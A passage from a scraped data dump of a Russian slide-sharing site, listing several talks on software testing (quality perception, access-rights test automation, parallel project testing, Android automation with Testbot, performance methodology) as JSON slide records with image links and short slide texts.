"description": "Результаты оценки"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/8d9a5782c4e87c65b83644e6faa5cc47/img6.jpg",
"description": "Результаты багфикса"
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/8d9a5782c4e87c65b83644e6faa5cc47/img7.jpg",
"description": "Подмена понятий Качество Супер-Качество"
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/8d9a5782c4e87c65b83644e6faa5cc47/img8.jpg",
"description": "Супер-качество"
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/8d9a5782c4e87c65b83644e6faa5cc47/img9.jpg",
"description": "Выводы Качественным воспринимается супер-качественный объект"
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/8d9a5782c4e87c65b83644e6faa5cc47/img10.jpg",
"description": "Выводы Просто качественный объект воспринимается на уровне некачественного «советский автопром»"
},
{
"slide_number": "12",
"image": "https://mypresentation.ru/documents/8d9a5782c4e87c65b83644e6faa5cc47/img11.jpg",
"description": "Выводы Достижение супер-качества вероятно при высокой культуре производства машинки BMW через некоторое время воспринимаются как ориентир типа «нормальное», а не…"
},
{
"slide_number": "13",
"image": "https://mypresentation.ru/documents/8d9a5782c4e87c65b83644e6faa5cc47/img12.jpg",
"description": "Выводы Можно ли оценить супер-качество? Еще бы! "
},
{
"slide_number": "14",
"image": "https://mypresentation.ru/documents/8d9a5782c4e87c65b83644e6faa5cc47/img13.jpg",
"description": "Выводы А запланировать супер-качество? ыыыыыыыыы…"
},
{
"slide_number": "15",
"image": "https://mypresentation.ru/documents/8d9a5782c4e87c65b83644e6faa5cc47/img14.jpg",
"description": "Выводы А сформулировать супер-качество? ыыыыыыыыыыыыыы? Это всего лишь сложнее."
},
{
"slide_number": "16",
"image": "https://mypresentation.ru/documents/8d9a5782c4e87c65b83644e6faa5cc47/img15.jpg",
"description": "Выводы (всё уже, всё) Не психовать Не требовать однозначности Помогать формулировать ожидания Сознавать подмену понятий Оценивать/тестировать ориентируясь на критерии супер-качества"
},
{
"slide_number": "17",
"image": "https://mypresentation.ru/documents/8d9a5782c4e87c65b83644e6faa5cc47/img16.jpg",
"description": "С энтузиазмом в глазах ФИНИШ"
},
{
"slide_number": "18",
"image": "https://mypresentation.ru/documents/8d9a5782c4e87c65b83644e6faa5cc47/img17.jpg",
"description": "Давайте, давайте, давайте бороздить просторы вселенной!"
}
] |
https://mypresentation.ru/presentation/99623 | Андрей Терехин. AT Consulting Автоматизация тестирования модели разграничения прав доступа к функционалу. - презентация | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/52248d29995df094b022be554ea7a594/img0.jpg",
"description": "Андрей Терехин. AT Consulting Автоматизация тестирования модели разграничения прав доступа к функционалу. - презентация, слайд №1"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/52248d29995df094b022be554ea7a594/img1.jpg",
"description": "Что мы хотим от автоматизации?"
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/52248d29995df094b022be554ea7a594/img2.jpg",
"description": "Ставим цели? Повысить Скорость Улучшить Качество Автоматизировать побольше процессов"
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/52248d29995df094b022be554ea7a594/img3.jpg",
"description": "Андрей Терехин. AT Consulting Автоматизация тестирования модели разграничения прав доступа к функционалу. - презентация, слайд №4"
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/52248d29995df094b022be554ea7a594/img4.jpg",
"description": "Андрей Терехин. AT Consulting Автоматизация тестирования модели разграничения прав доступа к функционалу. - презентация, слайд №5"
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/52248d29995df094b022be554ea7a594/img5.jpg",
"description": "Андрей Терехин. AT Consulting Автоматизация тестирования модели разграничения прав доступа к функционалу. - презентация, слайд №6"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/52248d29995df094b022be554ea7a594/img6.jpg",
"description": "1) Понять процессы. 1) Понять процессы. 2) Выбрать инструмент."
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/52248d29995df094b022be554ea7a594/img7.jpg",
"description": "Количественные параметры Количественные параметры Качественные параметры"
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/52248d29995df094b022be554ea7a594/img8.jpg",
"description": "Время прохождения процесса Время прохождения процесса Время подготовки прохождения процесса Количество предшествующих процессов Количество прохождения процесса за период"
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/52248d29995df094b022be554ea7a594/img9.jpg",
"description": "Сложность процесса Сложность процесса Технологическую нагрузку Логическую сложность"
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/52248d29995df094b022be554ea7a594/img10.jpg",
"description": "Какой процесс автоматизировать?"
},
{
"slide_number": "12",
"image": "https://mypresentation.ru/documents/52248d29995df094b022be554ea7a594/img11.jpg",
"description": "1. Как следует выбрать инструмент: 1. Как следует выбрать инструмент: А) Выбрать программы - Провести анализ – Запастись надеждой – Практика - Успех или всё с начала Б) Выбрать программы – Практика - Выбрать лучшую – Успех 2. Как не следует выбирать инструмент: А) Обсуждать – Анализировать – Обсуждать – Обсуждать"
},
{
"slide_number": "13",
"image": "https://mypresentation.ru/documents/52248d29995df094b022be554ea7a594/img12.jpg",
"description": "Разработка Разработка Установка/Настройка Тестирование Отладка Поддержка"
},
{
"slide_number": "14",
"image": "https://mypresentation.ru/documents/52248d29995df094b022be554ea7a594/img13.jpg",
"description": "Тестирование процесса автоматизированного тестирования. Тестирование процесса автоматизированного тестирования. Автотест = Программа ="
},
{
"slide_number": "15",
"image": "https://mypresentation.ru/documents/52248d29995df094b022be554ea7a594/img14.jpg",
"description": "Андрей Терехин. AT Consulting Автоматизация тестирования модели разграничения прав доступа к функционалу. - презентация, слайд №15"
},
{
"slide_number": "16",
"image": "https://mypresentation.ru/documents/52248d29995df094b022be554ea7a594/img15.jpg",
"description": "Это: Create Это: Create Read Update Delete"
},
{
"slide_number": "17",
"image": "https://mypresentation.ru/documents/52248d29995df094b022be554ea7a594/img16.jpg",
"description": "Андрей Терехин. AT Consulting Автоматизация тестирования модели разграничения прав доступа к функционалу. - презентация, слайд №17"
},
{
"slide_number": "18",
"image": "https://mypresentation.ru/documents/52248d29995df094b022be554ea7a594/img17.jpg",
"description": "Проверить спецификацию на: Проверить спецификацию на: Наличие противоречий Дефекты требований Нетривиальной логики доступа"
},
{
"slide_number": "19",
"image": "https://mypresentation.ru/documents/52248d29995df094b022be554ea7a594/img18.jpg",
"description": "Андрей Терехин. AT Consulting Автоматизация тестирования модели разграничения прав доступа к функционалу. - презентация, слайд №19"
},
{
"slide_number": "20",
"image": "https://mypresentation.ru/documents/52248d29995df094b022be554ea7a594/img19.jpg",
"description": "Андрей Терехин. AT Consulting Автоматизация тестирования модели разграничения прав доступа к функционалу. - презентация, слайд №20"
},
{
"slide_number": "21",
"image": "https://mypresentation.ru/documents/52248d29995df094b022be554ea7a594/img20.jpg",
"description": "Update: Update: 1. Обычая проверка Либо… 2. Исключение 1 3. Исключение 2 …."
},
{
"slide_number": "22",
"image": "https://mypresentation.ru/documents/52248d29995df094b022be554ea7a594/img21.jpg",
"description": "Управление входными параметрами"
},
{
"slide_number": "23",
"image": "https://mypresentation.ru/documents/52248d29995df094b022be554ea7a594/img22.jpg",
"description": "Андрей Терехин. AT Consulting Автоматизация тестирования модели разграничения прав доступа к функционалу. - презентация, слайд №23"
},
{
"slide_number": "24",
"image": "https://mypresentation.ru/documents/52248d29995df094b022be554ea7a594/img23.jpg",
"description": "Пока вы спите – ваш автотест тестирует"
}
] |
https://mypresentation.ru/presentation/99624 | Эффективная организация параллельного тестирования нескольких проектов Александр Калугин. PMARCOR | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/8ba972b88f65b1dd92a9b4314c0e4d83/img0.jpg",
"description": "Эффективная организация параллельного тестирования нескольких проектов Александр Калугин. PMARCOR"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/8ba972b88f65b1dd92a9b4314c0e4d83/img1.jpg",
"description": "Здрасьте, это я!"
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/8ba972b88f65b1dd92a9b4314c0e4d83/img2.jpg",
"description": "О чем речь Большое количество параллельных проектов Проекты с разным процессом Широкий спектр технологий Короткие или не очень длительные проекты Команда тестирования 1-5 тестировщиков на проект Сложный софт"
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/8ba972b88f65b1dd92a9b4314c0e4d83/img3.jpg",
"description": "А конкретнее? Одна но большая или много, но маленьких? сервис или команды? Как всё успевать? о параллельных проектах Как работать комфортно? о сохранении и переключении контекста"
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/8ba972b88f65b1dd92a9b4314c0e4d83/img4.jpg",
"description": "Команда vs."
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/8ba972b88f65b1dd92a9b4314c0e4d83/img5.jpg",
"description": "Команда: «Чисто» Сервис"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/8ba972b88f65b1dd92a9b4314c0e4d83/img6.jpg",
"description": "Команда: «Чисто» Сервис Не работает, так как: Никто не понимает, что происходит Никто не отвечает за результат Неясные приоритеты Позднее включение Работает: Компактные задачи вне контекста Формализованные процессы"
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/8ba972b88f65b1dd92a9b4314c0e4d83/img7.jpg",
"description": "Команда: 1:1 Dev"
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/8ba972b88f65b1dd92a9b4314c0e4d83/img8.jpg",
"description": "Эффективная организация параллельного тестирования нескольких проектов Александр Калугин. PMARCOR, слайд №9"
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/8ba972b88f65b1dd92a9b4314c0e4d83/img9.jpg",
"description": "Команда: 1:1 с dev Недостатки: Феодальная раздробленность Эндемичность Нет дома Работает: большие, длительные, итеративные проекты четкое соотношение количества участников команды не только тестирование"
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/8ba972b88f65b1dd92a9b4314c0e4d83/img10.jpg",
"description": "Команда: Баланс"
},
{
"slide_number": "12",
"image": "https://mypresentation.ru/documents/8ba972b88f65b1dd92a9b4314c0e4d83/img11.jpg",
"description": "Команда: Что дает? Достоинства: Есть команда проекта Возможно раннее подключение Есть отдел тестирования Переключение между ПМ-ами и проектами Синергия проектов Недостатки: Конфликты интересов между проектами"
},
{
"slide_number": "13",
"image": "https://mypresentation.ru/documents/8ba972b88f65b1dd92a9b4314c0e4d83/img12.jpg",
"description": "Как всё успевать? vs."
},
{
"slide_number": "14",
"image": "https://mypresentation.ru/documents/8ba972b88f65b1dd92a9b4314c0e4d83/img13.jpg",
"description": "1. Планирование"
},
{
"slide_number": "15",
"image": "https://mypresentation.ru/documents/8ba972b88f65b1dd92a9b4314c0e4d83/img14.jpg",
"description": "2. Делать впрок Раннее подключение Тестирование спецификации, архитектуры Анализ рисков и тестирование «от рисков» Тестирование ранних билдов, модульное тестирование Серый ящик Больше информации для дебага Экономить итерации"
},
{
"slide_number": "16",
"image": "https://mypresentation.ru/documents/8ba972b88f65b1dd92a9b4314c0e4d83/img15.jpg",
"description": "3. Борьба с простоями Запасная задача/Plan B, + полдня Сделайте мне билд Деление full-test-а Отложенные недотесты Тестирование аналога/ прототипа Запасной environment Борьба с блокерами Проработка чеклиста/ use-case-а"
},
{
"slide_number": "17",
"image": "https://mypresentation.ru/documents/8ba972b88f65b1dd92a9b4314c0e4d83/img16.jpg",
"description": "4. Борьба с пробками Деление времени Сказать как можно раньше Уточнение задачи Пропустить билд / часть задач Фокусировка Сужение покрытия Критерии останова Тесты в фоне"
},
{
"slide_number": "18",
"image": "https://mypresentation.ru/documents/8ba972b88f65b1dd92a9b4314c0e4d83/img17.jpg",
"description": "4. Борьба с пробками (2) Тестирование по спирали: программисты приемка smoke изменения приоритеты регресс"
},
{
"slide_number": "19",
"image": "https://mypresentation.ru/documents/8ba972b88f65b1dd92a9b4314c0e4d83/img18.jpg",
"description": "5. Déjà vu. Не изобретать велосипед Переходы Проекты Команды Функционал General Checklist Платформа, Технология, Процесс Cross-review Обобщения known-issues и invalid"
},
{
"slide_number": "20",
"image": "https://mypresentation.ru/documents/8ba972b88f65b1dd92a9b4314c0e4d83/img19.jpg",
"description": "Результаты более равномерная загрузка, меньше авралов меньше трудозатрат критичные дефекты раньше больше пространства для манёвра Осталось только…"
},
{
"slide_number": "21",
"image": "https://mypresentation.ru/documents/8ba972b88f65b1dd92a9b4314c0e4d83/img20.jpg",
"description": "… не раздвоиться"
},
{
"slide_number": "22",
"image": "https://mypresentation.ru/documents/8ba972b88f65b1dd92a9b4314c0e4d83/img21.jpg",
"description": "Переключение контекста: Процесс Баги проверяют те же, кто нашел. По возможности, не делить день. Несколько проектов в неделю. Схожий профиль. По двое. Разные роли в разных проектах"
},
{
"slide_number": "23",
"image": "https://mypresentation.ru/documents/8ba972b88f65b1dd92a9b4314c0e4d83/img22.jpg",
"description": "Переключение контекста: Инструменты Traceability matrix (тесты на билды) Нет тесткейсам! Чеклисты Протоколы сессионных тестов Границы разных тестов/четкая стратегия Приоритеты Анализ wontfix-ов и инвалидов"
},
{
"slide_number": "24",
"image": "https://mypresentation.ru/documents/8ba972b88f65b1dd92a9b4314c0e4d83/img23.jpg",
"description": "Результат: удобнее"
},
{
"slide_number": "25",
"image": "https://mypresentation.ru/documents/8ba972b88f65b1dd92a9b4314c0e4d83/img24.jpg",
"description": "Спасибо! Калугин Александр [email protected] http://pmarcor.com/ http://pmsamara.com @pmarcor Ваши вопросы?"
}
] |
https://mypresentation.ru/presentation/99625 | Обучение команды на практике: трудности и рецепты Александр Орлов Stratoplan.ru Happy-PM.com | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/cfc44bd5df7e0db5edf0096d2461da40/img0.jpg",
"description": "Обучение команды на практике: трудности и рецепты Александр Орлов Stratoplan.ru Happy-PM.com"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/cfc44bd5df7e0db5edf0096d2461da40/img1.jpg",
"description": "Обучение команды на практике: трудности и рецепты Александр Орлов Stratoplan.ru Happy-PM.com, слайд №2"
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/cfc44bd5df7e0db5edf0096d2461da40/img2.jpg",
"description": "Обучение команды на практике: трудности и рецепты Александр Орлов Stratoplan.ru Happy-PM.com, слайд №3"
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/cfc44bd5df7e0db5edf0096d2461da40/img3.jpg",
"description": "Планы-2012 февраль-апрель Клуб профессионального развития: рост в менеджеры Клуб профессионального развития: предпринимательство Клуб профессионального развития: лидерство Клуб тренерского мастерства Клуб по работе с сотрудниками Клуб по работе с командами Клуб по работе с заказчиком Клуб практического тестирования Клуб практического программирования Клуб управления проектами в PMI Клуб управления проектами в Agile Бонусный клуб! www.stratoplan.ru"
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/cfc44bd5df7e0db5edf0096d2461da40/img4.jpg",
"description": "Обучение команды на практике: трудности и рецепты Александр Орлов Stratoplan.ru Happy-PM.com, слайд №5"
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/cfc44bd5df7e0db5edf0096d2461da40/img5.jpg",
"description": "Обучение команды на практике: трудности и рецепты Александр Орлов Stratoplan.ru Happy-PM.com, слайд №6"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/cfc44bd5df7e0db5edf0096d2461da40/img6.jpg",
"description": "Обучение команды на практике: трудности и рецепты Александр Орлов Stratoplan.ru Happy-PM.com, слайд №7"
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/cfc44bd5df7e0db5edf0096d2461da40/img7.jpg",
"description": "Обучение команды на практике: трудности и рецепты Александр Орлов Stratoplan.ru Happy-PM.com, слайд №8"
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/cfc44bd5df7e0db5edf0096d2461da40/img8.jpg",
"description": "Обучение команды на практике: трудности и рецепты Александр Орлов Stratoplan.ru Happy-PM.com, слайд №9"
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/cfc44bd5df7e0db5edf0096d2461da40/img9.jpg",
"description": "НЕДООЦЕНКА"
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/cfc44bd5df7e0db5edf0096d2461da40/img10.jpg",
"description": "Обучение команды на практике: трудности и рецепты Александр Орлов Stratoplan.ru Happy-PM.com, слайд №11"
},
{
"slide_number": "12",
"image": "https://mypresentation.ru/documents/cfc44bd5df7e0db5edf0096d2461da40/img11.jpg",
"description": "Обучение команды на практике: трудности и рецепты Александр Орлов Stratoplan.ru Happy-PM.com, слайд №12"
},
{
"slide_number": "13",
"image": "https://mypresentation.ru/documents/cfc44bd5df7e0db5edf0096d2461da40/img12.jpg",
"description": "Эво оно как…"
},
{
"slide_number": "14",
"image": "https://mypresentation.ru/documents/cfc44bd5df7e0db5edf0096d2461da40/img13.jpg",
"description": "Обучение команды на практике: трудности и рецепты Александр Орлов Stratoplan.ru Happy-PM.com, слайд №14"
},
{
"slide_number": "15",
"image": "https://mypresentation.ru/documents/cfc44bd5df7e0db5edf0096d2461da40/img14.jpg",
"description": "Обучение команды на практике: трудности и рецепты Александр Орлов Stratoplan.ru Happy-PM.com, слайд №15"
},
{
"slide_number": "16",
"image": "https://mypresentation.ru/documents/cfc44bd5df7e0db5edf0096d2461da40/img15.jpg",
"description": "Обучение команды на практике: трудности и рецепты Александр Орлов Stratoplan.ru Happy-PM.com, слайд №16"
},
{
"slide_number": "17",
"image": "https://mypresentation.ru/documents/cfc44bd5df7e0db5edf0096d2461da40/img16.jpg",
"description": "Обучение команды на практике: трудности и рецепты Александр Орлов Stratoplan.ru Happy-PM.com, слайд №17"
},
{
"slide_number": "18",
"image": "https://mypresentation.ru/documents/cfc44bd5df7e0db5edf0096d2461da40/img17.jpg",
"description": "Обучение команды на практике: трудности и рецепты Александр Орлов Stratoplan.ru Happy-PM.com, слайд №18"
},
{
"slide_number": "19",
"image": "https://mypresentation.ru/documents/cfc44bd5df7e0db5edf0096d2461da40/img18.jpg",
"description": "Обучение команды на практике: трудности и рецепты Александр Орлов Stratoplan.ru Happy-PM.com, слайд №19"
},
{
"slide_number": "20",
"image": "https://mypresentation.ru/documents/cfc44bd5df7e0db5edf0096d2461da40/img19.jpg",
"description": "Обучение команды на практике: трудности и рецепты Александр Орлов Stratoplan.ru Happy-PM.com, слайд №20"
},
{
"slide_number": "21",
"image": "https://mypresentation.ru/documents/cfc44bd5df7e0db5edf0096d2461da40/img20.jpg",
"description": "Обучение команды на практике: трудности и рецепты Александр Орлов Stratoplan.ru Happy-PM.com, слайд №21"
},
{
"slide_number": "22",
"image": "https://mypresentation.ru/documents/cfc44bd5df7e0db5edf0096d2461da40/img21.jpg",
"description": "Обучение команды на практике: трудности и рецепты Александр Орлов Stratoplan.ru Happy-PM.com, слайд №22"
},
{
"slide_number": "23",
"image": "https://mypresentation.ru/documents/cfc44bd5df7e0db5edf0096d2461da40/img22.jpg",
"description": "Обучение команды на практике: трудности и рецепты Александр Орлов Stratoplan.ru Happy-PM.com, слайд №23"
}
] |
https://mypresentation.ru/presentation/99626 | Автоматизация тестирования для Android Проект Testbot | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/2b4a491b553d92f846f14b084ad119fa/img0.jpg",
"description": "Автоматизация тестирования для Android Проект Testbot"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/2b4a491b553d92f846f14b084ad119fa/img1.jpg",
"description": "Концепция подхода Концепция подхода Применение Архитектура"
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/2b4a491b553d92f846f14b084ad119fa/img2.jpg",
"description": "Концепция подхода"
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/2b4a491b553d92f846f14b084ad119fa/img3.jpg",
"description": "Автоматизация тестирования для Android Проект Testbot, слайд №4"
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/2b4a491b553d92f846f14b084ad119fa/img4.jpg",
"description": "Проблемы"
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/2b4a491b553d92f846f14b084ad119fa/img5.jpg",
"description": "To sikuli or not to sikuli?"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/2b4a491b553d92f846f14b084ad119fa/img6.jpg",
"description": "Прямой порядок выполнения"
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/2b4a491b553d92f846f14b084ad119fa/img7.jpg",
"description": "Главные задачи Независимость теста от отображения данных. Обработка непредвиденных ситуаций."
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/2b4a491b553d92f846f14b084ad119fa/img8.jpg",
"description": "Event-ориентированная система"
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/2b4a491b553d92f846f14b084ad119fa/img9.jpg",
"description": "Что такое Event-ориентированная система?"
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/2b4a491b553d92f846f14b084ad119fa/img10.jpg",
"description": "Взаимодействие между приложением и Testbot"
},
{
"slide_number": "12",
"image": "https://mypresentation.ru/documents/2b4a491b553d92f846f14b084ad119fa/img11.jpg",
"description": "Пример: тест, объединяющий параграфы в текстовом документе Окрыть документ (курсор в первом параграфе). Перемещать курсор вправо, пока он не достигнет начала следующего параграфа. Нажать Backspace. Exp. result: параграфы объединились."
},
{
"slide_number": "13",
"image": "https://mypresentation.ru/documents/2b4a491b553d92f846f14b084ad119fa/img12.jpg",
"description": "Автоматизация тестирования для Android Проект Testbot, слайд №13"
},
{
"slide_number": "14",
"image": "https://mypresentation.ru/documents/2b4a491b553d92f846f14b084ad119fa/img13.jpg",
"description": "Автоматизация тестирования для Android Проект Testbot, слайд №14"
},
{
"slide_number": "15",
"image": "https://mypresentation.ru/documents/2b4a491b553d92f846f14b084ad119fa/img14.jpg",
"description": "Автоматизация тестирования для Android Проект Testbot, слайд №15"
},
{
"slide_number": "16",
"image": "https://mypresentation.ru/documents/2b4a491b553d92f846f14b084ad119fa/img15.jpg",
"description": "Плюшки"
},
{
"slide_number": "17",
"image": "https://mypresentation.ru/documents/2b4a491b553d92f846f14b084ad119fa/img16.jpg",
"description": "Тестирование неограниченного количества документов Тестирование неограниченного количества документов Регрессионное тестирование рендеринга CIT Интересная работа"
},
{
"slide_number": "18",
"image": "https://mypresentation.ru/documents/2b4a491b553d92f846f14b084ad119fa/img17.jpg",
"description": "Отчет"
},
{
"slide_number": "19",
"image": "https://mypresentation.ru/documents/2b4a491b553d92f846f14b084ad119fa/img18.jpg",
"description": "Рендеринг Фиксированный набор специально-созданных и реальных документов Снимаем изображение -> картинки Проверяем картинки –> сохраняем как эталон Тестируем этот же набор на следующей сборке Автоматически сравниваем картинки с эталоном"
},
{
"slide_number": "20",
"image": "https://mypresentation.ru/documents/2b4a491b553d92f846f14b084ad119fa/img19.jpg",
"description": "Отчет"
},
{
"slide_number": "21",
"image": "https://mypresentation.ru/documents/2b4a491b553d92f846f14b084ad119fa/img20.jpg",
"description": "Просто добавь Sikuli? Использование библиотеки OpenCV для поиска изображения на экране Использование в диалогах Зависимость от отображения"
},
{
"slide_number": "22",
"image": "https://mypresentation.ru/documents/2b4a491b553d92f846f14b084ad119fa/img21.jpg",
"description": "CIT Автоматическая сборка на билд-сервере Нотификация тест-сервера через Jabber Объединение тестов в тест-сеты; ассоциация тест-сета и сборки E-mail нотификации по завершению теста"
},
{
"slide_number": "23",
"image": "https://mypresentation.ru/documents/2b4a491b553d92f846f14b084ad119fa/img22.jpg",
"description": "Покрытие/Время"
},
{
"slide_number": "24",
"image": "https://mypresentation.ru/documents/2b4a491b553d92f846f14b084ad119fa/img23.jpg",
"description": "Живой тест"
},
{
"slide_number": "25",
"image": "https://mypresentation.ru/documents/2b4a491b553d92f846f14b084ad119fa/img24.jpg",
"description": "Testbot «изнутри»"
},
{
"slide_number": "26",
"image": "https://mypresentation.ru/documents/2b4a491b553d92f846f14b084ad119fa/img25.jpg",
"description": "Проблемы Robotium Приложение запущено в 3-х отдельных процессах Не смогли получить информацию о состоянии диалогов в 2-ом и 3-ем процессе Нет возможности следить за изменениями в документе"
},
{
"slide_number": "27",
"image": "https://mypresentation.ru/documents/2b4a491b553d92f846f14b084ad119fa/img26.jpg",
"description": "Получение информации о состоянии приложения"
},
{
"slide_number": "28",
"image": "https://mypresentation.ru/documents/2b4a491b553d92f846f14b084ad119fa/img27.jpg",
"description": "Автоматизация тестирования для Android Проект Testbot, слайд №28"
},
{
"slide_number": "29",
"image": "https://mypresentation.ru/documents/2b4a491b553d92f846f14b084ad119fa/img28.jpg",
"description": "Выполнение теста"
},
{
"slide_number": "30",
"image": "https://mypresentation.ru/documents/2b4a491b553d92f846f14b084ad119fa/img29.jpg",
"description": "А если не сработает?"
},
{
"slide_number": "31",
"image": "https://mypresentation.ru/documents/2b4a491b553d92f846f14b084ad119fa/img30.jpg",
"description": "А если ошибка?"
},
{
"slide_number": "32",
"image": "https://mypresentation.ru/documents/2b4a491b553d92f846f14b084ad119fa/img31.jpg",
"description": "Пример кода теста"
},
{
"slide_number": "33",
"image": "https://mypresentation.ru/documents/2b4a491b553d92f846f14b084ad119fa/img32.jpg",
"description": "Спасибо! Дмитрий Вильнер [email protected] Олег Орлов [email protected]"
}
] |
https://mypresentation.ru/presentation/99627 | Мочалин Игорь. Quest Software – Moscow | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/e5be38e577c9ebe8bef8a4253f7e9d0e/img0.jpg",
"description": "Мочалин Игорь. Quest Software – Moscow"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/e5be38e577c9ebe8bef8a4253f7e9d0e/img1.jpg",
"description": "Краткий план Как зарождалось автоматизированное тестирование Краткий обзор средств для тестирования Как правильно организовать процесс автоматизации для разного рода ПО? Вечные проблемы Баланс Автоматизация, как еще один аспект заинтересовать подчинённых работать у вас в команде"
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/e5be38e577c9ebe8bef8a4253f7e9d0e/img2.jpg",
"description": "Типичный подход менеджеров Что тут делать? Все просто! Записал сценарий Проиграл сценарий на виртуальной машине Если тест сломался, значит это баг Cобрал баги"
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/e5be38e577c9ebe8bef8a4253f7e9d0e/img3.jpg",
"description": "Оказалось все не просто Получившийся код трудно поддерживать Новый человек совершенно не понимает того, что написали до него Код плохо читаем, не структурирован и плохо расширяется на другие среды Много дублированного кода"
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/e5be38e577c9ebe8bef8a4253f7e9d0e/img4.jpg",
"description": "С чего начать?"
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/e5be38e577c9ebe8bef8a4253f7e9d0e/img5.jpg",
"description": "Не увлекайтесь, иначе “вагоны” покатятся в разные стороны"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/e5be38e577c9ebe8bef8a4253f7e9d0e/img6.jpg",
"description": "Человеческий фактор Если вы не фиксируете или не проговариваете сценарии, то тесты начинают писаться ради тестов!"
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/e5be38e577c9ebe8bef8a4253f7e9d0e/img7.jpg",
"description": "Используйте разные инструменты Java/VB Script, Power Shell и т.д. Test Complete , Coded UI, Selenium и т.д. Load runner, Visual Studio Load Test и т.д."
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/e5be38e577c9ebe8bef8a4253f7e9d0e/img8.jpg",
"description": "Девять общих правил из жизни Скрипты всегда более стабильны, чем UI тесты В рамках одного теста - один язык Общая база знаний и примеров – обязательна Делайте “обертки” для методов, функций и т.д. Привлекайте опытных коллег для CodeReview Анализируйте сценарии, которые закодировал тестировщик Один test case – один автотест Вы тратите 50% времени на поддержку тестов? – Надо что-то менять! Можете запустить 1000 тестов пять раз в день? Подумайте, а можете вы это все проанализировать? Каков выхлоп?"
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/e5be38e577c9ebe8bef8a4253f7e9d0e/img9.jpg",
"description": "Вечные проблемы"
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/e5be38e577c9ebe8bef8a4253f7e9d0e/img10.jpg",
"description": "Сухой остаток Автоматизация может быть хорошим мотивирующим фактором Везде соблюдайте баланс Вы не сможете решить все проблемы - это жизнь Думайте о перспективах Всегда можно сделать лучше, чем было, но не всегда это надо делать"
}
] |
https://mypresentation.ru/presentation/99628 | Производительность комплекса систем Простой подход к разработке методики тестирования | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/767a3a420c1c8414a7e94c1e9898e22f/img0.jpg",
"description": "Производительность комплекса систем Простой подход к разработке методики тестирования"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/767a3a420c1c8414a7e94c1e9898e22f/img1.jpg",
"description": "О докладчике Компания Universal Kube Разработка, внедрение и эксплуатация систем в в сфере финансов, банковской деятельности Партнер TCS в России Егор Еремеев Руководитель отдела тестирования Опыт в отрасли более 5 лет"
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/767a3a420c1c8414a7e94c1e9898e22f/img2.jpg",
"description": "Что стоит за этими краткими фразами? Что стоит за этими краткими фразами?"
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/767a3a420c1c8414a7e94c1e9898e22f/img3.jpg",
"description": "Простые случаи"
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/767a3a420c1c8414a7e94c1e9898e22f/img4.jpg",
"description": "«А за окном капитализм»"
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/767a3a420c1c8414a7e94c1e9898e22f/img5.jpg",
